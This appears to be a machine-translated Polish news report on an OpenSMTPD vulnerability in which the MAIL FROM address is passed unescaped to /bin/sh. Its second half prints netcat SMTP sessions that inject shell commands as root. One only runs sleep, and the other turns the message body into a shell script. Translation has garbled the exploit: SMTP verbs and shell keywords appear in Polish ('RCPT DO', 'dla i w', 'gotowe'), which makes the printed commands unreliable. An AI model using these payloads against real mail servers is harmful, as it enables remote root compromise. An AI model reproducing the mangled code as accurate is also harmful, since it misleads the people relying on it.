W serwerze pocztowym opracowanym przez projekt OpenBSD
Zaproponowano dwa rodzaje ataków. Pierwsza opcja działa w domyślnej konfiguracji OpenSMTPD (odbieranie żądań tylko od localhost) i pozwala wykorzystać problem lokalnie, gdy atakujący ma dostęp do lokalnego interfejsu sieciowego (loopback) na serwerze (np. na systemach hostingowych) . Druga opcja pojawia się, gdy OpenSMTPD jest skonfigurowany do akceptowania żądań sieci zewnętrznej (serwer pocztowy, który akceptuje pocztę innej firmy). Badacze przygotowali prototypowy exploit, który z powodzeniem działa zarówno z wariantem OpenSMTPD z OpenBSD 6.6, jak iz wersją przenośną dla innych systemów operacyjnych (przeprowadzone w Debian Testing).
Problem jest spowodowany błędem w funkcji smtp_mailaddr(), która jest wywoływana w celu sprawdzenia poprawności wartości w polach "MAIL FROM" i "RCPT TO" określających nadawcę/odbiorcę i przesyłanych podczas połączenia do serwera pocztowego. Funkcja smtp_mailaddr() jest wywoływana w smtp_mailaddr() w celu sprawdzenia części adresu e-mail, która znajduje się przed znakiem „@”.
valid_localpart(), która uznaje znaki „!#$%&'*/?^`{|}~+-=_” za dozwolone (MAILADDR_ALLOWED), zgodnie z wymaganiami RFC 5322.
W tym przypadku łańcuch jest bezpośrednio zmieniany w funkcji mda_expand_token(), która zastępuje tylko znaki "!#$%&'*?`{|}~" (MAILADDR_ESCAPE). Ponadto ciąg znaków przygotowany w mda_expand_token() jest używany podczas wywoływania agenta dostarczania (MDA) za pomocą polecenia „execle("/bin/sh", "/bin/sh", "-c", mda_command,…'. mail do mbox przez /bin/sh uruchamiana jest linia "/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}", gdzie wartość "%{mbox.from}" zawiera dane ucieczki z parametru „MAIL FROM”.
Istota podatności polega na tym, że smtp_mailaddr() ma błąd logiczny, w wyniku którego w przypadku przekazania pustej domeny do wiadomości e-mail funkcja zwraca pomyślny kod weryfikacyjny, nawet jeśli część adresu przed „@” zawiera nieprawidłowe znaki. Ponadto, podczas przygotowywania łańcucha za pomocą funkcji mda_expand_token() nie wszystkie możliwe znaki specjalne powłoki są zmieniane, ale tylko znaki specjalne dozwolone w adresie pocztowym. Tak więc, aby uruchomić polecenie, wystarczy użyć symbolu „;” w lokalnej części wiadomości e-mail. i spacji, które nie znajdują się w zestawie MAILADDR_ESCAPE i nie są znakami ucieczki. Na przykład:
$nc 127.0.0.1 25
HELO profesorze falken
MAIL OD:<;sleep 66;>
RCPT DO:
DATA
.
QUIT
Po tej sesji OpenSMTPD po dostarczeniu do mbox uruchomi polecenie przez powłokę
/usr/libexec/mail.local -f ;sleep 66; źródło
Jednocześnie możliwości ataku są ograniczone przez fakt, że lokalna część adresu nie może przekraczać 64 znaków, a znaki specjalne „$” i „|” są zastępowane przez „:” podczas ucieczki. Aby obejść to ograniczenie, fakt, że treść wiadomości jest przesyłana po uruchomieniu /usr/libexec/mail.local przez strumień wejściowy, tj. poprzez manipulację adresem można jedynie uruchomić interpreter poleceń sh i użyć treści listu jako zestawu instrukcji. Ponieważ nagłówki usługi SMTP są określone na początku litery, zaleca się użycie polecenia read w pętli, aby je pominąć. Działający exploit wygląda mniej więcej tak:
$nc 192.168.56.143 25
HELO profesorze falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT DO:[email chroniony]>
DATA
#0
#1
...
#d
dla i w WOPR; Do
echo -n "($i) " && id || przerwa
gotowe > /root/x."`id -u`"."$$"
.
QUIT
Źródło: opennet.ru